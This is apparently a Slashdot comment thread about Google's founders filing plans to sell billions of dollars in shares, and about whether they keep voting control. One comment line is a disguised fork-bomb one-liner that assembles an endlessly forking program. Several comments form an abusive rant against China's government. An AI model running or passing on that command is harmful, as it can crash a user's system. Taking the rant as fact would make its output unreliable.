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Larry & Sergey To Cash In $5.5B of Google Chips
theodp writes "According to an SEC filing, Google founders Larry Page and Sergey Brin have adopted five-year trading plans to sell about 5M shares each, which would yield each about $2.75B based on Friday's closing stock price of $550.01. BTW, Google kicks in 12 cents to Social Security and another 2 cents to Medicare on its founders' celebrated $1 annual salaries." After this stock is sold, the founders will hold less than 50% of the voting shares and thus will give up voting control of Google.
Why does it matter if the founders are contributing to SS? They're hardly going to need to draw on it, so everyone else can continue paying in and later drawing out their money. Oh wait, that isn't how SS works? Drat.
I think China should buy all these shares, then they wouldn't need to hack anything!
Only on paper. The other 50+ % could tell them to take a hike, as they change Google's direction into uncharted, less 'friendly' territories.
The wind of change is coming, hide your data.
---- Booth was a patriot ----
Also, since Eric Schmidt isn't selling his shares, the three of them together will have far more than 50% of the voting shares. (reference)
The profits from selling of their shares will be considered income by the IRS, and taxed accordingly.
Yeah. Anything more than 30% (or less) is sufficient to control a large public corporation. The majority of stock in a corporation like Google is held by mutual funds, who do not typically actively engage in corporate control. So 30% is more than 60% of the stock held by individuals, who are more likely to claim a voice in corporate governance. IOW, they're keeping total control, for all practical purposes.
"with their freedom lost all virtue lose" - Milton
Even more so, it seems like Google has been doing some huge changes lately (maybe pulling out of china, android for mobile phones, photographing every street on the planet, current "main guys" and owners starting to sell shares).
Remember that their current stance on privacy (and especially their datamining everywhere) doesn't tell anything how the company will be ran in future. It's even more worry some when the 'geeky' owners sell their shares and leave control to business people.
I bet the Chinese Government are buying those shares (and the voting rights attached to them) as fast as they can. People said Larry and Sergei were crazy pissing them off but maybe it's all part of the plan.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
It's the internet, you can't take your data back again, only pollute it.
Except they still have most of their wealth in Google stock. More likely they just want some money. Bill Gates did the same thing when he started his charitable organization, so maybe they are planning on starting a charity. Or maybe they want to buy some islands somewhere. Or a small country.
Since they are cashing out together, it seems they have some joint project they want to work on. Maybe something to do with censorship in China? A several billion dollar advertising campaign could do something maybe.
Qxe4
Because their salary is $1 and they want to spend some money?
If my salary was $1 and I had over a billion in stocks you best believe I'd be cashing some of it out....
I bet the Chinese Government are buying those shares (and the voting rights attached to them) as fast as they can. People said Larry and Sergei were crazy pissing them off but maybe it's all part of the plan.
That's just paranoia! This is what is really happening...
As they sell their shares, other mutual funds and pension funds will buy the stock as "investments" - those mutual funds and pensions won't be really well known. It'll be something like the Virginia Government Employee Retirement Fund or what have you. Now, those funds would be managed by a company that's called, the Center Investing Authority - let's say. Now that company is actually a shell company based in the Cayman Islands. Their agents in the Caymans would be Guido Catelloni, Fettuccine Alfredo and Jose Paco Horowitz. Of course, it's really a ruse. Since the true owners are in Iceland. So, you have Igottafatdottir as being the power behind the Cayman name, Now, you'd think that that money was stolen from the current Icelandic financial crisis. Nope! the money actually came from Italy. You see the Cayman Island guys are actually the real guys BUT they're Jesuit priests! That's right! The Catholic Church is buying up Google and pinning it on the Chinese. Why is the Catholics buying Google? Why to launder all that treasure from the Crusades!
See, you're theory is just too far fetched, as for mine, well, there's a couple of millennia of history to back it up.
You mean Mr. "If You Have Something You Don't Want Anyone To Know, Maybe You Shouldn't Be Doing It"? Sure, I'll sleep soundly tonight.
He stayed on Apple's board long after he knew about the Android move, and he's usually the one pushing the "it's technically not illegal" line. I don't see that he's the best person anyone would like to leave their data with. IMO, prepare for more Facebook-esque pranks from Google in the near future.
Entomologically speaking, the spider is not a bug, it's a feature.
You know what? When it comes to face, I think the rest of the planet needs to make it so they lose face all the time. They need to, untrustworthy gangster scum need to "lose face". We should stop kowtowing to them like that, ALL the time. The only face they really want is your face with their economic and physical boot in it. Screw that.
The Chinese "leaders" are the direct unbroken political descendants of a regime that murdered millions of their own people and engaged in genocide with other people. I have no idea why we even set out on this path to make them richer and more powerful, we wouldn't have done that with the stalinists, nope, nor hitlerites if they were still in power, but for some reason, these murderers get a free pass, like we are just supposed to play make believe history didn't happen and today's reality isn't happening.
The industrialized and more civilized nations (in cahoots with various big business trader traitors and their political puppets) handed them for free, or sold cheap, or they outright stole, and continue to steal, most of the crown jewels of the knowledge and techniques of said industrialization and modernization and *still* we are supposed to be oh so freaking worried about their "face". Well...too bad!
*(*&&*( their dang tyrannical despotic "face", they *need* to "lose face" for being mass jerks. (**&*^ all this bowing and scraping and treating them like they are civilized and honorable. They aren't, they are just modernized thugs, same as they have always been, and getting more powerful daily. They are and have been a major serious threat to the rest of the planet.
The best thing we could do is pull out, make all these stupid global companies just pull the heck out as well, or kick them out, before we are too poor and too far gone into stupid debt, before it is too late to build back up the west's industrial base, the true wealth creation parts of our economies.
That's the main reason we are hurting economically, we let them billionaire traitorous skunks with their despotic allies with their precious "face" swap out our manufacturing for that conman crap about being a "service" economy and emphasizing high stakes casino gambling as some sort of wealth creation "industry". Then they ran that little multi trillion bail out pure extortion racket on top of that!
There's been ZERO quid pro quo budge with them people, no reform inside that nation, no freedoms there except the freedom to be global class crooks, with caveat emptor products, since we handed them the means for wealth creation. All they have done is gone on an around the world grabbing spree, grabing industry after industry, and now raw resource after raw resource, and every time some one dares to point this out, the wall street gangster tools and their chinese mafia brothers cry "protectionism!" BS, they have been "protecting" that cooperating mob gang since day one, it's time for a little more proactive self defense *protection* back.
YEAH! Google should be all about the short term and next quarter's profits! That's how our economy's so strong today!
Sorry, people but large shareholders file SEC notices like this all the time, but that does not obligate them to sell. It just allows them the option to sell.
Living in Chile